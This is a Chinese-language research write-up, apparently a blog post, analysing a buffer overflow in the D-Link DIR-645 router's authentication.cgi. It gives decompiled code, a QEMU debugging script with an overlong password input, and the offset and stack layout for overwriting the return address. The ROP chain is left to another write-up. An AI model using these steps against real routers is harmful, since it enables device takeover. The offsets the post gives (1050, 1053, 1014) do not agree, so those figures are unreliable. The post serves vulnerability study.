D-Link Dir-645 路由器溢出漏洞分析

参考链接

《揭秘家用路由器0day漏洞挖掘技术》漏洞分析笔记(二) :: Cougar — Blog (c0ug4r.top)

roberto.greyhats.it/advisories/20130801-dlink-dir645.txt

固件下载&分离

固件版本DIR645A1_FW103B11

下载地址: http://files.dlink.com.au/products/DIR-645/REV_A/Firmware/DIR645_FW103B11/DIR645A1_FW103B11.zip

分离固件

➜  11 binwalk -e DIR645A1_FW103B11.bin
.....
➜ _DIR645A1_FW103B11.bin.extracted ls squashfs-root
bin dev etc home htdocs include lib mnt proc sbin sys tmp usr var www

漏洞分析

该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的”password”参数的值时造成的缓冲区溢出

➜  squashfs-root find . |grep authentication.cgi
./htdocs/web/authentication.cgi
./htdocs/web/webfa_authentication.cgi

authentication.cgi -> /htdocs/cgibin

根据漏洞描述可以找到authenticationcgi_main函数,从而进行分析

首先是区分不同的操作,authentication.cgi => 0

REQUEST_METHOD = getenv("REQUEST_METHOD");
memset(v60, 0, sizeof(v60));
memset(v66, 0, sizeof(v66));
memset(v57, 0, sizeof(v57));
auth = divide_authentication(*argv); // /htdocs/web/authentication.cgi => 0
// /htdocs/web/authentication_logout.cgi => 1
// /htdocs/web/webfa_authentication.cgi => 2
// /htdocs/web/webfa_authentication_logout.cgi =>3

接着判断REQUEST_METHOD是否为GET

// authentication.cgi:120
if ( !strcmp(REQUEST_METHOD, "GET") ) // REQUEST_METHOD == GET

判断REQUEST_METHOD是否为GET

// authentication.cgi:175
if ( strcmp(REQUEST_METHOD, "POST") ) // REQUEST_METHOD == POST

在POST方法中,读取内容

 if ( !CONTENT_TYPE
|| !CONTENT_LENGTH
|| (CONTENT_LENGTH_INT = atoi(CONTENT_LENGTH), IO = fileno(stdin), read(IO, CONTENT_BUF, CONTENT_LENGTH_INT) < 0)
|| (CONTENT_BUF[CONTENT_LENGTH_INT] = 0, Get_HTTP_COOKIE((int)v66) < 0) )
{
LABEL_51:
v9 = 5; // {\"RESULT\": \"FAIL\", \"REASON\": \"ERR_GET_UENTRY\"}
goto LABEL_96;
}

这里可以看到,CONTENT_LENGTH_INT来自我们传入的内容而非系统指定, 则read(IO, CONTENT_BUF, CONTENT_LENGTH_INT)可能造成溢出

LABEL_96处进行返回包内容的判断,v9等于{\"RESULT\": \"FAIL\", \"REASON\": \"ERR_GET_UENTRY\"}

接着对CONTENT_BUF的内容进行判读,判断是否存在id=password=,存在则进行读取

haystack = CONTENT_BUF;
dest = (char *)v66;
point2id_password = (const char **)&::point2id_password;// id=
// password=
for ( i = 0; i != 2; ++i )
{
v24 = *point2id_password;
v25 = strstr(haystack, *point2id_password);
v26 = &v25[strlen(v24)];
v27 = v26;
while ( 1 ) // read until '&' or '\x00'
{
v28 = *v27;
if ( v28 == '&' )
break;
++v27;
if ( !v28 )
{
--v27;
break;
}
}
v29 = v27 - v26;
if ( i )
{
if ( i != 1 )
goto LABEL_51;
strncpy((char *)&v66[32], v26, v27 - v26);// read password
*((_BYTE *)&v66[32] + v29) = 0;
}
else
{
strncpy(dest, v26, v27 - v26); // read id
*((_BYTE *)v66 + v29) = 0;
}
++point2id_password;
}

这里可以看到strncpy27 - 26这个长度实际也是可以控制进行溢出的, 但从v66溢出到$ra太远,可能影响其他寄存器导致程序奔溃

从上我们可以根据分析得到如下攻击思路

  • 通过发送POST包超长CONTENT使得溢出

动态分析

根据上述漏洞分析,我们首先需要确定偏移量

➜  squashfs-root python3 patternLocOffset.py -c -l 1160 -f offset
[*] Create pattern string contains 2000 characters ok!
[+] output to offset ok!
[+] take time: 0.0016 s
  • 使用 2000,发现会覆盖$a1后导致程序崩溃,于是减少长度到 1160

调试脚本

#!/bin/bash
# user-mode-debug.sh
# sudo ./user-mode-debug.sh `python -c "print 'uid=test&password=' + open('offsetest','r').read(1160)"`

INPUT="$1"
PORT="23946" # ida debugger default port
LEN=$(echo -n "$INPUT" | wc -c)
cp $(which qemu-mipsel-static) ./qemu

echo $INPUT | chroot ./ ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
rm -rf ./qemu

image-20211108173250341

计算得偏移为1050

➜  squashfs-root python3 patternLocOffset.py -s 0x42316A42 -l 1160
[*] Create pattern string contains 1160 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1053 (adjusted another-endian)
[+] take time: 0.0003 s

且栈布局为

padding:1014
$s0~$s7
$fp
$ra

ROP链构造

D-Link DIR-815 路由器多次溢出漏洞分析 | Lantern’s 小站相同

其他

该固件多个地方存在漏洞,详情查看roberto.greyhats.it/advisories/20130801-dlink-dir645.txt